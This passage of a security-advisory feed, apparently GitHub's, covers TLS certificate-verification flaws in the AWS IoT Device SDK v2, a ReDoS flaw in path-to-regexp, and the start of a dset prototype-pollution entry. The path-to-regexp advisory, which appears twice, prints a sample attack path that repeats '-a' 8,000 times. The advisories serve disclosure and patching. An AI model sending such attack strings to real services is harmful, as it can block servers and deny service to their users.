        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mwhf-vhr5-7j23</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mwhf-vhr5-7j23</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.3.3), Python (versions prior to 1.5.18), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.1) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on Windows. This issue has been addressed in aws-c-io submodule versions 0.9.13 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.3.3 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.5.18 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Microsoft Windows.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-94jq-q5v2-76wj&quot;&gt;https://github.com/advisories/GHSA-94jq-q5v2-76wj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-94jq-q5v2-76wj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-94jq-q5v2-76wj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &#39;aws_tls_ctx_options_override_default_trust_store_*&#39; function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-c4rh-4376-gff4&quot;&gt;https://github.com/advisories/GHSA-c4rh-4376-gff4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-c4rh-4376-gff4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-c4rh-4376-gff4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on macOS systems. Additionally, SNI validation is also not enabled when the CA has been &quot;overridden&quot;. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &lt;code&gt;aws_tls_ctx_options_override_default_trust_store_*&lt;/code&gt; function within the aws-c-io submodule has been updated to address this behavior. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.7.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.14.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.6.0 on macOS. Amazon Web Services AWS-C-IO 0.10.7 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&quot;&gt;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[aws-iot-device-sdk-v2] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-743r-5g92-5vgf&quot;&gt;https://github.com/advisories/GHSA-743r-5g92-5vgf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-743r-5g92-5vgf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-743r-5g92-5vgf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[dset] dset Prototype Pollution vulnerability</title>
      <description>&lt;p&gt;Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property &lt;strong&gt;proto&lt;/strong&gt;, which is recursively assigned to all the objects in the program.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
